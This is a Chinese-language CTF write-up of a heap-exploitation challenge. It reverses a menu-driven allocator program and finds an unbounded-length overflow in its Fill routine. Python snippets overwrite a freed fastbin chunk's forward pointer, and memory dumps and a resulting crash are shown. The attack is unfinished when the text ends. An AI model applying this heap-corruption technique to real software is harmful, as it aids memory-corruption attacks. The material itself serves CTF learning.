Perface
程序又是很简单(为什么我要说又)
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
就这几个步骤,并且程序利用的是
.rodata:0000563DD51224F4 ; _DWORD dword_563DD51224F4[6]
.rodata:0000563DD51224F4 dword_563DD51224F4 dd 0FFFFFCB9h, 0FFFFFC7Ah, 0FFFFFC88h, 0FFFFFC96h, 0FFFFFCA4h
这里的这样的偏移表来跳转的orz
checksec
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
got表不可修改,所有保护全开(这里实际上栈保护也是开的,不知道为什么没有检测出来)
struct
主要结构也很简单
struct tmp
{
main_stru mstru[16]; //...[0, 15]
};
struct main_stru
{
1; // used
int8 length;
byte *calo_buf; // max l 0x1000
};
在开始的地方用随机数运算到了一个地址值,然后再这个地址值里放16组结构,这里标记为tmp。
每组结构一样,标记为main stru,这个结构就三个元素,标记、长度、字符串指针。
Allocate
从mstru0~15遍历,遇到标记used为0的状况下,就用calloc申请size大小空间,size大小根据输入来,但是size限制在 0~0x1000 的范围内,不存在整数溢出。创建完后即可返回
Fill
漏洞所在处
也是先便利mstru,找used为1的,然后根据输入的size填充堆。
size没有限制,而根据堆分配的原则,堆一般紧挨着,就是说,size超长了可以覆盖下一个堆,即对应下一个calo buf指向的空间。
由于堆块信息,可以利用后面的free触发unlink
Free
先检查used位是否为1,如果为1才进行释放。将used、flag先置0,然后free,然后calo buf指针清0
Dump
输出对应index的calo buf指向的字符串,输出通过write,长度为length
Thinking
max强力保护。程序又是按堆来的。本来想unlink,只能更改有限的字节,并且程序中存指针那块的地址是随机的,不太好操作。无意间看到how2heap的一个。通过覆盖fastbin从而拿到任意地址读写权限
test
首先看看内存分配
我先创建了几个fastbin
def bab_leak(io):
bab_alloc(io, 0x8)
bab_alloc(io, 0x8)
bab_alloc(io, 0x8)
bab_alloc(io, 0x8)
bab_alloc(io, 0x8)
bab_fill(io, 2, 0x8, "df".ljust(8, '2'))
bab_fill(io, 3, 0x8, "df".ljust(8, '3'))
然后看到内存布局如下
0000559DE0A54000 0000000000000000 0000000000000021 ........!.......
0000559DE0A54010 0000000000000000 0000000000000000 ................
0000559DE0A54020 0000000000000000 0000000000000021 ........!.......
0000559DE0A54030 0000000000000000 0000000000000000 ................
0000559DE0A54040 0000000000000000 0000000000000021 ........!.......
0000559DE0A54050 3232323232326664 0000000000000000 df222222........
0000559DE0A54060 0000000000000000 0000000000000021 ........!.......
0000559DE0A54070 3333333333336664 0000000000000000 df333333........
0000559DE0A54080 0000000000000000 0000000000000021 ........!.......
0000559DE0A54090 0000000000000000 0000000000000000 ................
0000559DE0A540A0 0000000000000000 0000000000020F61 ........a.......
接下来释放
bab_free(io, 2)
bab_free(io, 3)
可以看到fastbin但链表就有了
0000559DE0A54000 0000000000000000 0000000000000021 ........!.......
0000559DE0A54010 0000000000000000 0000000000000000 ................
0000559DE0A54020 0000000000000000 0000000000000021 ........!.......
0000559DE0A54030 0000000000000000 0000000000000000 ................
0000559DE0A54040 0000000000000000 0000000000000021 ........!.......
0000559DE0A54050 0000000000000000 0000000000000000 ................
0000559DE0A54060 0000000000000000 0000000000000021 ........!.......
0000559DE0A54070 0000559DE0A54040 0000000000000000 @@...U..........
0000559DE0A54080 0000000000000000 0000000000000021 ........!.......
0000559DE0A54090 0000000000000000 0000000000000000 ................
0000559DE0A540A0 0000000000000000 0000000000020F61 ........a.......
fastbin是LIFO,后进先出。fastbin即使free之后,其P标志也是不会清0的
释放完之后立马覆盖fastbin第一个的pre fastbin指针。即上面的0x0000559DE0A54050,本应该是0,但是改成一个地址之后,就相当于伪造了一个fastbin了。
payload = "df".ljust(8, '1') + p64(0) + p64(0) + p64(0x20) + p64(0x555555555555) # 555555543000
bab_fill(io, 1, len(payload), payload)
raw_input("fffffffff")
bab_alloc(io, 0x08)
bab_alloc(io, 0x08)
bab_alloc(io, 0x08)
由于随便构造了地址,在下面的地方出现地址不可访问
libc_2.23.so:00007FB4131552CF mov r8, [rcx+10h]
libc_2.23.so:00007FB4131552D3 mov rax, rcx
libc_2.23.so:00007FB4131552D6 cmp dword ptr fs:18h, 0
libc_2.23.so:00007FB4131552DF jz short loc_7FB4131552E2
libc_2.23.so:00007FB4131552E1 lock
此时寄存器信息
RAX 0000000000000000
RBX 00007FB413497B20 libc_2.23.so:__malloc_hook+10
RCX 0000555555555555
interesting!!!. malloc想去申请0x555555555555了2333.。然而。。地址随机化比较麻烦。。